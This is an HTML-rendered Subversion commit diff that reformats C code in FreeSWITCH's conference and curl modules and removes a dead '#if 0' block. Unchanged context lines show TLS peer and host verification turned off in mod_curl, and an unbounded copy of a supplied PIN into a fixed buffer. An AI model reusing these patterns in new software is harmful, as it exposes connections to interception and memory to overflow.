</span><span class="cx">                                         supplied_pin_value = supplied_pin_value_start + strlen(cf_pin_url_param_name);
</span><span class="cx">                                 }
</span><del>-                                while (*supplied_pin_value != 0 && *supplied_pin_value != ';'){
</del><ins>+                                while (*supplied_pin_value != 0 && *supplied_pin_value != ';') {
</ins><span class="cx">                                         pin_buf[i++] = *supplied_pin_value++;
</span><span class="cx">                                 }
</span><span class="cx">                                 pin_valid = (strcmp(pin_buf, dpin) == 0);
</span><span class="cx">                                 memset(pin_buf, 0, sizeof(pin_buf));
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!conference->pin_sound) {
</span><span class="cx">                                 conference->pin_sound = switch_core_strdup(conference->pool, "conference/conf-pin.wav");
</span><span class="cx">                         }
</span><span class="lines">@@ -5317,16 +5319,17 @@
</span><span class="cx">
</span><span class="cx">                         while (!pin_valid && pin_retries && status == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_status_t pstatus = SWITCH_STATUS_FALSE;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 /* be friendly */
</span><span class="cx">                                 if (conference->pin_sound) {
</span><span class="cx">                                         pstatus = conference_local_play_file(conference, session, conference->pin_sound, 20, pin_buf, sizeof(pin_buf));
</span><span class="cx">                                 } else if (conference->tts_engine && conference->tts_voice) {
</span><del>-                                        pstatus = switch_ivr_speak_text(session, conference->tts_engine, conference->tts_voice, "please enter the conference pin number", NULL);
</del><ins>+                                        pstatus =
+                                                switch_ivr_speak_text(session, conference->tts_engine, conference->tts_voice, "please enter the conference pin number", NULL);
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         pstatus = switch_ivr_speak_text(session, "flite", "slt", "please enter the conference pin number", NULL);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (pstatus != SWITCH_STATUS_SUCCESS && pstatus != SWITCH_STATUS_BREAK) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot ask the user for a pin, ending call");
</span><span class="cx">                                         switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="lines">@@ -5336,11 +5339,10 @@
</span><span class="cx">                                 if (strlen(pin_buf) < strlen(dpin)) {
</span><span class="cx">                                         char *buf = pin_buf + strlen(pin_buf);
</span><span class="cx">                                         char term = '\0';
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         status = switch_ivr_collect_digits_count(session,
</span><span class="cx">                                                                                                                          buf,
</span><del>-                                                                                                                         sizeof(pin_buf) - strlen(pin_buf),
-                                                                                                                         strlen(dpin) - strlen(pin_buf), "#", &term, 10000, 0, 0);
</del><ins>+                                                                                                                         sizeof(pin_buf) - strlen(pin_buf), strlen(dpin) - strlen(pin_buf), "#", &term, 10000, 0, 0);
</ins><span class="cx">                                         if (status == SWITCH_STATUS_TIMEOUT) {
</span><span class="cx">                                                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                                         }
</span><span class="lines">@@ -5441,7 +5443,7 @@
</span><span class="cx">         if (mflags & MFLAG_MINTWO) {
</span><span class="cx">                 conference->min = 2;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* Add the caller to the conference */
</span><span class="cx">         if (conference_add_member(conference, &member) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_core_codec_destroy(&member.read_codec);
</span><span class="lines">@@ -5626,20 +5628,10 @@
</span><span class="cx">                 } else {
</span><span class="cx">                         return SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 }
</span><del>-#if 0
-                else {
-                        if (strcasecmp(argv[0], "help") == 0 || strcasecmp(argv[0], "commands") == 0) {
-                                stream.write_function(&stream, "%s\n", api_syntax);
-                                /* find a normal command */
-                        } else {
-                                conf_api_dispatch(conference, &stream, argc, argv, (const char *) body, 0);
-                        }
-                }
-#endif
</del><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_safe_free(lbuf);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_chat_send(proto, CONF_CHAT_PROTO, to, hint && strchr(hint, '/') ? hint : from, "", stream.data, NULL, NULL);
</span><span class="cx">         switch_safe_free(stream.data);
</span><span class="cx">
</span><span class="lines">@@ -5792,126 +5784,126 @@
</span><span class="cx">
</span><span class="cx">         /* parse the profile tree for param values */
</span><span class="cx">         if (cfg.profile)
</span><del>-        for (xml_kvp = switch_xml_child(cfg.profile, "param"); xml_kvp; xml_kvp = xml_kvp->next) {
-                char *var = (char *) switch_xml_attr_soft(xml_kvp, "name");
-                char *val = (char *) switch_xml_attr_soft(xml_kvp, "value");
-                char buf[128] = "";
-                char *p;
</del><ins>+                for (xml_kvp = switch_xml_child(cfg.profile, "param"); xml_kvp; xml_kvp = xml_kvp->next) {
+                        char *var = (char *) switch_xml_attr_soft(xml_kvp, "name");
+                        char *val = (char *) switch_xml_attr_soft(xml_kvp, "value");
+                        char buf[128] = "";
+                        char *p;
</ins><span class="cx">
</span><del>-                if ((p = strchr(var, '_'))) {
-                        switch_copy_string(buf, var, sizeof(buf));
-                        for (p = buf; *p; p++) {
-                                if (*p == '_') {
-                                        *p = '-';
</del><ins>+                        if ((p = strchr(var, '_'))) {
+                                switch_copy_string(buf, var, sizeof(buf));
+                                for (p = buf; *p; p++) {
+                                        if (*p == '_') {
+                                                *p = '-';
+                                        }
</ins><span class="cx">                                 }
</span><ins>+                                var = buf;
</ins><span class="cx">                         }
</span><del>-                        var = buf;
-                }
</del><span class="cx">
</span><del>-                if (!strcasecmp(var, "rate") && !zstr(val)) {
-                        uint32_t tmp = atoi(val);
-                        if (tmp == 8000 || tmp == 12000 || tmp == 16000 || tmp == 24000 || tmp == 32000 || tmp == 48000) {
-                                rate = tmp;
</del><ins>+                        if (!strcasecmp(var, "rate") && !zstr(val)) {
+                                uint32_t tmp = atoi(val);
+                                if (tmp == 8000 || tmp == 12000 || tmp == 16000 || tmp == 24000 || tmp == 32000 || tmp == 48000) {
+                                        rate = tmp;
+                                }
+                        } else if (!strcasecmp(var, "domain") && !zstr(val)) {
+                                domain = val;
+                        } else if (!strcasecmp(var, "interval") && !zstr(val)) {
+                                uint32_t tmp = atoi(val);
+                                if (SWITCH_ACCEPTABLE_INTERVAL(tmp)) {
+                                        interval = tmp;
+                                } else {
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                                         "Interval must be multipe of 10 and less than %d, Using default of 20\n", SWITCH_MAX_INTERVAL);
+                                }
+                        } else if (!strcasecmp(var, "timer-name") && !zstr(val)) {
+                                timer_name = val;
+                        } else if (!strcasecmp(var, "tts-engine") && !zstr(val)) {
+                                tts_engine = val;
+                        } else if (!strcasecmp(var, "tts-voice") && !zstr(val)) {
+                                tts_voice = val;
+                        } else if (!strcasecmp(var, "enter-sound") && !zstr(val)) {
+                                enter_sound = val;
+                        } else if (!strcasecmp(var, "exit-sound") && !zstr(val)) {
+                                exit_sound = val;
+                        } else if (!strcasecmp(var, "alone-sound") && !zstr(val)) {
+                                alone_sound = val;
+                        } else if (!strcasecmp(var, "perpetual-sound") && !zstr(val)) {
+                                perpetual_sound = val;
+                        } else if (!strcasecmp(var, "moh-sound") && !zstr(val)) {
+                                moh_sound = val;
+                        } else if (!strcasecmp(var, "ack-sound") && !zstr(val)) {
+                                ack_sound = val;
+                        } else if (!strcasecmp(var, "nack-sound") && !zstr(val)) {
+                                nack_sound = val;
+                        } else if (!strcasecmp(var, "muted-sound") && !zstr(val)) {
+                                muted_sound = val;
+                        } else if (!strcasecmp(var, "mute-detect-sound") && !zstr(val)) {
+                                mute_detect_sound = val;
+                        } else if (!strcasecmp(var, "unmuted-sound") && !zstr(val)) {
+                                unmuted_sound = val;
+                        } else if (!strcasecmp(var, "locked-sound") && !zstr(val)) {
+                                locked_sound = val;
+                        } else if (!strcasecmp(var, "is-locked-sound") && !zstr(val)) {
+                                is_locked_sound = val;
+                        } else if (!strcasecmp(var, "is-unlocked-sound") && !zstr(val)) {
+                                is_unlocked_sound = val;
+                        } else if (!strcasecmp(var, "member-flags") && !zstr(val)) {
+                                member_flags = val;
+                        } else if (!strcasecmp(var, "conference-flags") && !zstr(val)) {
+                                conference_flags = val;
+                        } else if (!strcasecmp(var, "kicked-sound") && !zstr(val)) {
+                                kicked_sound = val;
+                        } else if (!strcasecmp(var, "pin") && !zstr(val)) {
+                                pin = val;
+                        } else if (!strcasecmp(var, "pin-sound") && !zstr(val)) {
+                                pin_sound = val;
+                        } else if (!strcasecmp(var, "bad-pin-sound") && !zstr(val)) {
+                                bad_pin_sound = val;
+                        } else if (!strcasecmp(var, "energy-level") && !zstr(val)) {
+                                energy_level = val;
+                        } else if (!strcasecmp(var, "caller-id-name") && !zstr(val)) {
+                                caller_id_name = val;
+                        } else if (!strcasecmp(var, "caller-id-number") && !zstr(val)) {
+                                caller_id_number = val;
+                        } else if (!strcasecmp(var, "caller-controls") && !zstr(val)) {
+                                caller_controls = val;
+                        } else if (!strcasecmp(var, "comfort-noise") && !zstr(val)) {
+                                int tmp;
+                                tmp = atoi(val);
+                                if (tmp > 1 && tmp < 10000) {
+                                        comfort_noise_level = tmp;
+                                } else if (switch_true(val)) {
+                                        comfort_noise_level = 1400;
+                                }
+                        } else if (!strcasecmp(var, "sound-prefix") && !zstr(val)) {
+                                sound_prefix = val;
+                        } else if (!strcasecmp(var, "max-members") && !zstr(val)) {
+                                errno = 0;                /* sanity first */
+                                max_members = strtol(val, NULL, 0);        /* base 0 lets 0x... for hex 0... for octal and base 10 otherwise through */
+                                if (errno == ERANGE || errno == EINVAL || max_members < 0 || max_members == 1) {
+                                        /* a negative wont work well, and its foolish to have a conference limited to 1 person unless the outbound
+                                         * stuff is added, see comments above
+                                         */
+                                        max_members = 0;        /* set to 0 to disable max counts */
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "max-members %s is invalid, not setting a limit\n", val);
+                                }
+                        } else if (!strcasecmp(var, "max-members-sound") && !zstr(val)) {
+                                maxmember_sound = val;
+                        } else if (!strcasecmp(var, "announce-count") && !zstr(val)) {
+                                errno = 0;                /* safety first */
+                                announce_count = strtol(val, NULL, 0);
+                                if (errno == ERANGE || errno == EINVAL) {
+                                        announce_count = 0;
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "announce-count is invalid, not anouncing member counts\n");
+                                }
+                        } else if (!strcasecmp(var, "suppress-events") && !zstr(val)) {
+                                suppress_events = val;
+                        } else if (!strcasecmp(var, "verbose-events") && !zstr(val)) {
+                                verbose_events = val;
+                        } else if (!strcasecmp(var, "auto-record") && !zstr(val)) {
+                                auto_record = val;
</ins><span class="cx">                         }
</span><del>-                } else if (!strcasecmp(var, "domain") && !zstr(val)) {
-                        domain = val;
-                } else if (!strcasecmp(var, "interval") && !zstr(val)) {
-                        uint32_t tmp = atoi(val);
-                        if (SWITCH_ACCEPTABLE_INTERVAL(tmp)) {
-                                interval = tmp;
-                        } else {
-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
-                                                                 "Interval must be multipe of 10 and less than %d, Using default of 20\n", SWITCH_MAX_INTERVAL);
-                        }
-                } else if (!strcasecmp(var, "timer-name") && !zstr(val)) {
-                        timer_name = val;
-                } else if (!strcasecmp(var, "tts-engine") && !zstr(val)) {
-                        tts_engine = val;
-                } else if (!strcasecmp(var, "tts-voice") && !zstr(val)) {
-                        tts_voice = val;
-                } else if (!strcasecmp(var, "enter-sound") && !zstr(val)) {
-                        enter_sound = val;
-                } else if (!strcasecmp(var, "exit-sound") && !zstr(val)) {
-                        exit_sound = val;
-                } else if (!strcasecmp(var, "alone-sound") && !zstr(val)) {
-                        alone_sound = val;
-                } else if (!strcasecmp(var, "perpetual-sound") && !zstr(val)) {
-                        perpetual_sound = val;
-                } else if (!strcasecmp(var, "moh-sound") && !zstr(val)) {
-                        moh_sound = val;
-                } else if (!strcasecmp(var, "ack-sound") && !zstr(val)) {
-                        ack_sound = val;
-                } else if (!strcasecmp(var, "nack-sound") && !zstr(val)) {
-                        nack_sound = val;
-                } else if (!strcasecmp(var, "muted-sound") && !zstr(val)) {
-                        muted_sound = val;
-                } else if (!strcasecmp(var, "mute-detect-sound") && !zstr(val)) {
-                        mute_detect_sound = val;
-                } else if (!strcasecmp(var, "unmuted-sound") && !zstr(val)) {
-                        unmuted_sound = val;
-                } else if (!strcasecmp(var, "locked-sound") && !zstr(val)) {
-                        locked_sound = val;
-                } else if (!strcasecmp(var, "is-locked-sound") && !zstr(val)) {
-                        is_locked_sound = val;
-                } else if (!strcasecmp(var, "is-unlocked-sound") && !zstr(val)) {
-                        is_unlocked_sound = val;
-                } else if (!strcasecmp(var, "member-flags") && !zstr(val)) {
-                        member_flags = val;
-                } else if (!strcasecmp(var, "conference-flags") && !zstr(val)) {
-                        conference_flags = val;
-                } else if (!strcasecmp(var, "kicked-sound") && !zstr(val)) {
-                        kicked_sound = val;
-                } else if (!strcasecmp(var, "pin") && !zstr(val)) {
-                        pin = val;
-                } else if (!strcasecmp(var, "pin-sound") && !zstr(val)) {
-                        pin_sound = val;
-                } else if (!strcasecmp(var, "bad-pin-sound") && !zstr(val)) {
-                        bad_pin_sound = val;
-                } else if (!strcasecmp(var, "energy-level") && !zstr(val)) {
-                        energy_level = val;
-                } else if (!strcasecmp(var, "caller-id-name") && !zstr(val)) {
-                        caller_id_name = val;
-                } else if (!strcasecmp(var, "caller-id-number") && !zstr(val)) {
-                        caller_id_number = val;
-                } else if (!strcasecmp(var, "caller-controls") && !zstr(val)) {
-                        caller_controls = val;
-                } else if (!strcasecmp(var, "comfort-noise") && !zstr(val)) {
-                        int tmp;
-                        tmp = atoi(val);
-                        if (tmp > 1 && tmp < 10000) {
-                                comfort_noise_level = tmp;
-                        } else if (switch_true(val)) {
-                                comfort_noise_level = 1400;
-                        }
-                } else if (!strcasecmp(var, "sound-prefix") && !zstr(val)) {
-                        sound_prefix = val;
-                } else if (!strcasecmp(var, "max-members") && !zstr(val)) {
-                        errno = 0;                        /* sanity first */
-                        max_members = strtol(val, NULL, 0);        /* base 0 lets 0x... for hex 0... for octal and base 10 otherwise through */
-                        if (errno == ERANGE || errno == EINVAL || max_members < 0 || max_members == 1) {
-                                /* a negative wont work well, and its foolish to have a conference limited to 1 person unless the outbound
-                                 * stuff is added, see comments above
-                                 */
-                                max_members = 0;        /* set to 0 to disable max counts */
-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "max-members %s is invalid, not setting a limit\n", val);
-                        }
-                } else if (!strcasecmp(var, "max-members-sound") && !zstr(val)) {
-                        maxmember_sound = val;
-                } else if (!strcasecmp(var, "announce-count") && !zstr(val)) {
-                        errno = 0;                        /* safety first */
-                        announce_count = strtol(val, NULL, 0);
-                        if (errno == ERANGE || errno == EINVAL) {
-                                announce_count = 0;
-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "announce-count is invalid, not anouncing member counts\n");
-                        }
-                } else if (!strcasecmp(var, "suppress-events") && !zstr(val)) {
-                        suppress_events = val;
-                } else if (!strcasecmp(var, "verbose-events") && !zstr(val)) {
-                        verbose_events = val;
-                } else if (!strcasecmp(var, "auto-record") && !zstr(val)) {
-                        auto_record = val;
</del><span class="cx">                 }
</span><del>-        }
</del><span class="cx">
</span><span class="cx">         /* Set defaults and various paramaters */
</span><span class="cx">
</span><span class="lines">@@ -5971,7 +5963,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         conference->mflags = MFLAG_CAN_SPEAK | MFLAG_CAN_HEAR;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(moh_sound) && switch_is_moh(moh_sound)) {
</span><span class="cx">                 conference->moh_sound = switch_core_strdup(conference->pool, moh_sound);
</span><span class="cx">         }
</span><span class="lines">@@ -6085,7 +6077,7 @@
</span><span class="cx">         if (!zstr(verbose_events) && switch_true(verbose_events)) {
</span><span class="cx">                 conference->verbose_events = 1;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* caller control configuration chores */
</span><span class="cx">         if (switch_ivr_digit_stream_parser_new(conference->pool, &conference->dtmf_parser) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">
</span><span class="lines">@@ -6116,7 +6108,7 @@
</span><span class="cx">         switch_core_hash_insert(globals.conference_hash, conference->name, conference);
</span><span class="cx">         switch_mutex_unlock(globals.hash_mutex);
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         switch_mutex_unlock(globals.hash_mutex);
</span><span class="cx">
</span><span class="lines">@@ -6277,7 +6269,8 @@
</span><span class="cx">         switch_mutex_init(&globals.setup_mutex, SWITCH_MUTEX_NESTED, globals.conference_pool);
</span><span class="cx">
</span><span class="cx">         /* Subscribe to presence request events */
</span><del>-        if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_PROBE, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.node) != SWITCH_STATUS_SUCCESS) {
</del><ins>+        if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_PROBE, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &globals.node) !=
+                SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't subscribe to presence request events!\n");
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_curlmod_curlc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_curl/mod_curl.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_curl/mod_curl.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_curl/mod_curl.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -28,7 +28,7 @@
</span><span class="cx"> * mod_curl.c -- API for performing http queries
</span><span class="cx"> *
</span><span class="cx"> */
</span><del>-
</del><ins>+
</ins><span class="cx"> #include <switch.h>
</span><span class="cx"> #include <curl/curl.h>
</span><span class="cx"> #include <json.h>
</span><span class="lines">@@ -75,13 +75,12 @@
</span><span class="cx">         http_data->bytes += realsize;
</span><span class="cx">
</span><span class="cx">         if (http_data->bytes > http_data->max_bytes) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Oversized file detected [%d bytes]\n", (int)http_data->bytes);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Oversized file detected [%d bytes]\n", (int) http_data->bytes);
</ins><span class="cx">                 http_data->err = 1;
</span><span class="cx">                 return 0;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        http_data->stream.write_function(
-                &http_data->stream, "%.*s", realsize, ptr);
</del><ins>+        http_data->stream.write_function(&http_data->stream, "%.*s", realsize, ptr);
</ins><span class="cx">         return realsize;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -90,18 +89,19 @@
</span><span class="cx">         register unsigned int realsize = (unsigned int) (size * nmemb);
</span><span class="cx">         http_data_t *http_data = data;
</span><span class="cx">         char *header = NULL;
</span><del>-        
-        header = switch_core_alloc(http_data->pool, realsize+1);
</del><ins>+
+        header = switch_core_alloc(http_data->pool, realsize + 1);
</ins><span class="cx">         switch_copy_string(header, ptr, realsize);
</span><span class="cx">         header[realsize] = '\0';
</span><span class="cx">
</span><span class="cx">         http_data->headers = curl_slist_append(http_data->headers, header);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return realsize;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static http_data_t *do_lookup_url(switch_memory_pool_t *pool, const char *url, const char *method, const char *data) {
-        
</del><ins>+static http_data_t *do_lookup_url(switch_memory_pool_t *pool, const char *url, const char *method, const char *data)
+{
+
</ins><span class="cx">         CURL *curl_handle = NULL;
</span><span class="cx">         long httpRes = 0;
</span><span class="cx">         char hostname[256] = "";
</span><span class="lines">@@ -111,19 +111,19 @@
</span><span class="cx">         http_data = switch_core_alloc(pool, sizeof(http_data_t));
</span><span class="cx">         memset(http_data, 0, sizeof(http_data_t));
</span><span class="cx">         http_data->pool = pool;
</span><del>-        
</del><ins>+
</ins><span class="cx">         http_data->max_bytes = 64000;
</span><span class="cx">         SWITCH_STANDARD_STREAM(http_data->stream);
</span><span class="cx">
</span><span class="cx">         gethostname(hostname, sizeof(hostname));
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!method) {
</span><span class="cx">                 method = "get";
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "method: %s, url: %s\n", method, url);
</span><span class="cx">         curl_handle = curl_easy_init();
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strncasecmp(url, "https", 5)) {
</span><span class="cx">                 curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, 0);
</span><span class="cx">                 curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 0);
</span><span class="lines">@@ -150,54 +150,53 @@
</span><span class="cx">         curl_easy_perform(curl_handle);
</span><span class="cx">         curl_easy_getinfo(curl_handle, CURLINFO_RESPONSE_CODE, &httpRes);
</span><span class="cx">         curl_easy_cleanup(curl_handle);
</span><del>-        
-        if (        http_data->stream.data &&
-                        !zstr((char *)http_data->stream.data) &&
-                        strcmp(" ", http_data->stream.data) ) {
-                
</del><ins>+
+        if (http_data->stream.data && !zstr((char *) http_data->stream.data) && strcmp(" ", http_data->stream.data)) {
+
</ins><span class="cx">                 http_data->http_response = switch_core_strdup(pool, http_data->stream.data);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         http_data->http_response_code = httpRes;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free(http_data->stream.data);
</span><span class="cx">         return http_data;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-static char *print_json(switch_memory_pool_t *pool, http_data_t *http_data) {
</del><ins>+static char *print_json(switch_memory_pool_t *pool, http_data_t *http_data)
+{
</ins><span class="cx">         struct json_object *top = NULL;
</span><span class="cx">         struct json_object *headers = NULL;
</span><span class="cx">         char *data = NULL;
</span><span class="cx">         struct curl_slist *header = http_data->headers;
</span><del>-        
</del><ins>+
</ins><span class="cx">         top = json_object_new_object();
</span><span class="cx">         headers = json_object_new_array();
</span><span class="cx">         json_object_object_add(top, "status_code", json_object_new_int(http_data->http_response_code));
</span><span class="cx">         if (http_data->http_response) {
</span><span class="cx">                 json_object_object_add(top, "body", json_object_new_string(http_data->http_response));
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* parse header data */
</span><del>-        while(header) {
</del><ins>+        while (header) {
</ins><span class="cx">                 struct json_object *obj = NULL;
</span><span class="cx">                 /* remove trailing \r */
</span><del>-                if ((data=rindex(header->data, '\r'))) {
</del><ins>+                if ((data = rindex(header->data, '\r'))) {
</ins><span class="cx">                         *data = '\0';
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (zstr(header->data)) {
</span><span class="cx">                         header = header->next;
</span><span class="cx">                         continue;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((data = index(header->data, ':'))) {
</span><span class="cx">                         *data = '\0';
</span><span class="cx">                         data++;
</span><del>-                        while(*data == ' ' && *data != '\0') {
</del><ins>+                        while (*data == ' ' && *data != '\0') {
</ins><span class="cx">                                 data++;
</span><span class="cx">                         }
</span><del>-                        obj = json_object_new_object();
</del><ins>+                        obj = json_object_new_object();
</ins><span class="cx">                         json_object_object_add(obj, "key", json_object_new_string(header->data));
</span><span class="cx">                         json_object_object_add(obj, "value", json_object_new_string(data));
</span><span class="cx">                         json_object_array_add(headers, obj);
</span><span class="lines">@@ -223,15 +222,15 @@
</span><span class="cx">         }
</span><span class="cx">         json_object_object_add(top, "headers", headers);
</span><span class="cx">         data = switch_core_strdup(pool, json_object_to_json_string(top));
</span><del>-        json_object_put(top); /* should free up all children */
-        
</del><ins>+        json_object_put(top);                /* should free up all children */
+
</ins><span class="cx">         return data;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_STANDARD_APP(curl_app_function)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        
</del><ins>+
</ins><span class="cx">         char *argv[10] = { 0 };
</span><span class="cx">         int argc;
</span><span class="cx">         char *mydata = NULL;
</span><span class="lines">@@ -247,8 +246,8 @@
</span><span class="cx">         struct curl_slist *slist = NULL;
</span><span class="cx">         switch_stream_handle_t stream = { 0 };
</span><span class="cx">         int i = 0;
</span><del>-        
-        
</del><ins>+
+
</ins><span class="cx">         if (session) {
</span><span class="cx">                 pool = switch_core_session_get_pool(session);
</span><span class="cx">         } else {
</span><span class="lines">@@ -257,24 +256,23 @@
</span><span class="cx">         if (!(mydata = switch_core_session_strdup(session, data))) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
</span><span class="cx">                 if (argc == 0) {
</span><span class="cx">                         switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 url = switch_core_strdup(pool, argv[0]);
</span><span class="cx">
</span><del>-                for (i =1; i < argc; i++) {
</del><ins>+                for (i = 1; i < argc; i++) {
</ins><span class="cx">                         if (!strcasecmp("headers", argv[i])) {
</span><span class="cx">                                 do_headers = SWITCH_TRUE;
</span><span class="cx">                         } else if (!strcasecmp("json", argv[i])) {
</span><span class="cx">                                 do_json = SWITCH_TRUE;
</span><del>-                        } else if ( !strcasecmp("get", argv[i]) ||
-                                                !strcasecmp("head", argv[i])) {
</del><ins>+                        } else if (!strcasecmp("get", argv[i]) || !strcasecmp("head", argv[i])) {
</ins><span class="cx">                                 method = switch_core_strdup(pool, argv[i]);
</span><span class="cx">                         } else if (!strcasecmp("post", argv[i])) {
</span><del>-                                if ( ++i < argc) {
</del><ins>+                                if (++i < argc) {
</ins><span class="cx">                                         postdata = switch_core_strdup(pool, argv[i]);
</span><span class="cx">                                         switch_url_decode(postdata);
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -283,7 +281,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         http_data = do_lookup_url(pool, url, method, postdata);
</span><span class="cx">         if (do_json) {
</span><span class="cx">                 switch_channel_set_variable(channel, "curl_response_data", print_json(pool, http_data));
</span><span class="lines">@@ -291,7 +289,7 @@
</span><span class="cx">                 SWITCH_STANDARD_STREAM(stream);
</span><span class="cx">                 if (do_headers) {
</span><span class="cx">                         slist = http_data->headers;
</span><del>-                        while(slist) {
</del><ins>+                        while (slist) {
</ins><span class="cx">                                 stream.write_function(&stream, "%s\n", slist->data);
</span><span class="cx">                                 slist = slist->next;
</span><span class="cx">                         }
</span><span class="lines">@@ -300,17 +298,16 @@
</span><span class="cx">                 stream.write_function(&stream, "%s", http_data->http_response ? http_data->http_response : "");
</span><span class="cx">                 switch_channel_set_variable(channel, "curl_response_data", stream.data);
</span><span class="cx">         }
</span><del>-        switch_channel_set_variable(channel, "curl_response_code",
-        switch_core_sprintf(pool, "%ld", http_data->http_response_code));
</del><ins>+        switch_channel_set_variable(channel, "curl_response_code", switch_core_sprintf(pool, "%ld", http_data->http_response_code));
</ins><span class="cx">         switch_channel_set_variable(channel, "curl_method", method);
</span><span class="cx">
</span><span class="cx">         switch_goto_status(SWITCH_STATUS_SUCCESS, done);
</span><del>-        
-usage:
</del><ins>+
+ usage:
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Usage: %s\n", SYNTAX);
</span><span class="cx">         switch_goto_status(status, done);
</span><del>-        
-done:
</del><ins>+
+ done:
</ins><span class="cx">         switch_safe_free(stream.data);
</span><span class="cx">         if (http_data && http_data->headers) {
</span><span class="cx">                 curl_slist_free_all(http_data->headers);
</span><span class="lines">@@ -319,6 +316,7 @@
</span><span class="cx">                 switch_core_destroy_memory_pool(&pool);
</span><span class="cx">         }
</span><span class="cx"> }
</span><ins>+
</ins><span class="cx"> SWITCH_STANDARD_API(curl_function)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status;
</span><span class="lines">@@ -335,7 +333,7 @@
</span><span class="cx">         int i = 0;
</span><span class="cx">
</span><span class="cx">         switch_memory_pool_t *pool = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
</span><span class="cx">         }
</span><span class="lines">@@ -351,20 +349,19 @@
</span><span class="cx">                 if (argc < 1) {
